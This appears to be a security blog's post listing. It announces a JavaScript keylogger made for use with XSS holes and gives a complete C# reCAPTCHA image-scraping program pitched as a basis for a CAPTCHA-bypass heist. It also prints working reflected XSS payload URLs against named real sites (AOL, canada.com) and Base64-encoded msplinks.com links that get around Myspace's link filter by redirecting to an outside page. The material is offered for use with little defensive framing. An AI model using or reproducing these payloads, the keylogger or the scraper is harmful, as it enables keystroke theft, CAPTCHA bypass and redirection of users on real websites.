Javascript Keylogger 1.2 Released

Download 1

Download 2

Javascript Keylogger 1.1 Released - HTTP Server Added

Javascript Keylogger has been updated. The new release contains an a customized HTTP server that generates keystroke reports.

From the readme:

Start the server, view Test1.htm or Test2.htm, and type in one of the inputs to see it in action. Logged keystrokes are displayed in the console and written to a text file in the same directory as the server. Server settings are in the JavascriptKeyloggerServer.exe.config file.

Download 1

Download 2

Javascript Keylogger

I wrote a javascript keylogger that works nicely with XSS vulnerabilities.

Download 1

Download 2

Scraping - reCAPTCHA Hack

After reading about the $25 million online ticket heist and the involvement of the reCAPTCHA service I decided to see if the reported flaw was still present. From the article:

[The perpetrators] wrote a script that impersonated users trying to access Facebook, and downloaded hundreds of thousands of possible CAPTCHA challenges from reCAPTCHA. They identified the file ID of each CAPTCHA challenge and created a database of CAPTCHA “answers” to correspond to each ID. The bot would then identify the file ID of a challenge at Ticketmaster and feed back the corresponding answer.

If the writer was referring to the ID passed to http://api.recaptcha.net/image via query string, the vulnerability appears to be fixed as the ID is temporary. However, the images are still the same and through the use of a cryptographic hash function such as MD5 we can identify duplicates. The following C# console application downloads a number (specified by the imageCount variable) of CAPTCHA images from reCAPTCHA, hashes each, groups the results by hash, then writes the results to a text file. Downloading as few as 1024 images can yield several identical images. Building on this one could potentially pull off the reCAPTCHA attack described in the article.

using System;
using System.Text;
using System.Text.RegularExpressions;
using System.IO;
using System.Net;
using System.Collections.Generic;
using System.Security.Cryptography;

namespace reCAPTCHAScrape
{
    class Program
    {
        static string Request(string Url)
        {
            HttpWebRequest request = WebRequest.Create(Url) as HttpWebRequest;

            string s;

            using (StreamReader reader =
                new StreamReader(request.GetResponse().GetResponseStream()))
                s = reader.ReadToEnd();

            return s;
        }

        static void GetCaptchaImage(int FileNum)
        {
            Regex scriptURLRegex =
                new Regex(@"<script\s*type\s*=\s*""text/javascript""\s*" +
                    @"src\s*=\s*""([^""]+)""\s*><\s*/script>");

            Regex scriptRegex = new Regex(@"challenge\s*:\s*'([^']+)'");

            string pageURL = "http://recaptcha.net/fastcgi/demo/recaptcha";

            string resp = Request(pageURL);

            string scriptURL = scriptURLRegex.Match(resp).Groups[1].Value;

            resp = Request(scriptURL);

            string ID = scriptRegex.Match(resp).Groups[1].Value;

            string imageURL = "http://api.recaptcha.net/image?c=" + ID;

            HttpWebRequest request =
                WebRequest.Create(imageURL) as HttpWebRequest;

            byte[] buffer = new byte[1048576];

            using (Stream s = request.GetResponse().GetResponseStream())
            {
                int len = s.Read(buffer, 0, 1048576);

                Array.Resize(ref buffer, len);
            }

            using (FileStream stream = File.Create(FileNum + ".jpg"))
                stream.Write(buffer, 0, buffer.Length);
        }

        static void DigestImages(string Path)
        {
            DirectoryInfo info = new DirectoryInfo(Path);

            FileInfo[] files = info.GetFiles("*.jpg");

            MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider();

            Dictionary<string, List<FileInfo>> digestDictionary =
                new Dictionary<string, List<FileInfo>>();

            foreach (FileInfo f in files)
            {
                byte[] buffer = File.ReadAllBytes(f.FullName);

                byte[] digest = md5.ComputeHash(buffer);

                StringBuilder hexStringBuilder = new StringBuilder();

                foreach (byte b in digest)
                    hexStringBuilder.Append(Convert.ToString(b,
                        16).PadLeft(2, '0'));

                string hexString = hexStringBuilder.ToString();

                if (digestDictionary.ContainsKey(hexString))                
                    digestDictionary[hexString].Add(f);
                else
                    digestDictionary.Add(hexString, new List<FileInfo>() { f });
            }

            StringBuilder results = new StringBuilder();

            foreach (string s in digestDictionary.Keys)
            {
                results.AppendLine(s);

                foreach (FileInfo f in digestDictionary[s])
                    results.AppendLine(f.FullName);

                results.AppendLine();
            }

            string filename = @".\Results_" + Environment.TickCount + ".txt";

            File.WriteAllText(filename, results.ToString());                        
        }

        static void Main(string[] args)
        {
            const int imageCount = 1024;

            Console.Write("Downloading images");

            for (int i = 0; i < imageCount; i++)
            {
                try
                {
                    GetCaptchaImage(i);

                    Console.Write(".");
                }
                catch (System.Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                }
            }

            Console.WriteLine("\r\nSearching for matches...");

            DigestImages(@".\");

            Console.WriteLine("Complete. Press any key to continue...");
            Console.ReadKey();
        }
    }
}

A match in the output looks like this:

cf75401ef23c167260aa6d93bb7fbc42
C:\Source\reCAPTCHAScrape\reCAPTCHAScrape\bin\Debug\533.jpg
C:\Source\reCAPTCHAScrape\reCAPTCHAScrape\bin\Debug\869.jpg

Free Rein - MLive.com

MLive's profile system has no XSS protection. HTML of any sort can be entered in the About Me field.

http://connect.mlive.com/user/XSSBlog/index.html

More Reflected XSS - AOL.com

More of the same.

http://messageboards.aol.com/aol/en_us/search.php?search="style="position:absolute;top:0;left:-500px;width:9999px;height:9999px;"onmouseover="alert(0)&boardId=519911&search_all=0&search_type=2

http://finance.aol.com/lookup/"style="width:9999px;height:9999px;"onmouseover="alert(0)">/usa

And of course being a myspace white listed site these can be used to get around msplinks.

http://www.msplinks.com/MDFodHRwOi8vbWVzc2FnZWJvYXJkcy5hb2wuY29tL2FvbC9lbl91cy9zZWFyY2gucGhwP3NlYXJjaD0lMjJzdHlsZT0lMjJwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MDtsZWZ0Oi01MDBweDt3aWR0aDo5OTk5cHg7aGVpZ2h0Ojk5OTlweDslMjJvbm1vdXNlb3Zlcj0lMjJ3aW5kb3cubG9jYXRpb249J2h0dHA6Ly9jcm9zcy1zaXRlLXNjcmlwdGluZy5ibG9nc3BvdC5jb20nJmJvYXJkSWQ9NTE5OTExJnNlYXJjaF9hbGw9MCZzZWFyY2hfdHlwZT0y

Bypassing Msplinks.com Revisited - Myspace.com

The technique I previously blogged about still works, but ytmnd.com has fixed the XSS vulnerability used in that posting. Here's a hole in another Msplinks.com whitelisted site:

http://www.canada.com/search/search.html?q=')}window.location='http://cross-site-scripting.blogspot.com/';{('

Just as before 01 is prefixed to the XSS redirect URL, then the result is Base64 encoded and appended to http://www.msplinks.com/.

http://www.msplinks.com/MDFodHRwOi8vd3d3LmNhbmFkYS5jb20vc2VhcmNoL3NlYXJjaC5odG1sP3E9Jyl9d2luZG93LmxvY2F0aW9uPSdodHRwOi8vY3Jvc3Mtc2l0ZS1zY3JpcHRpbmcuYmxvZ3Nwb3QuY29tLyc7eygn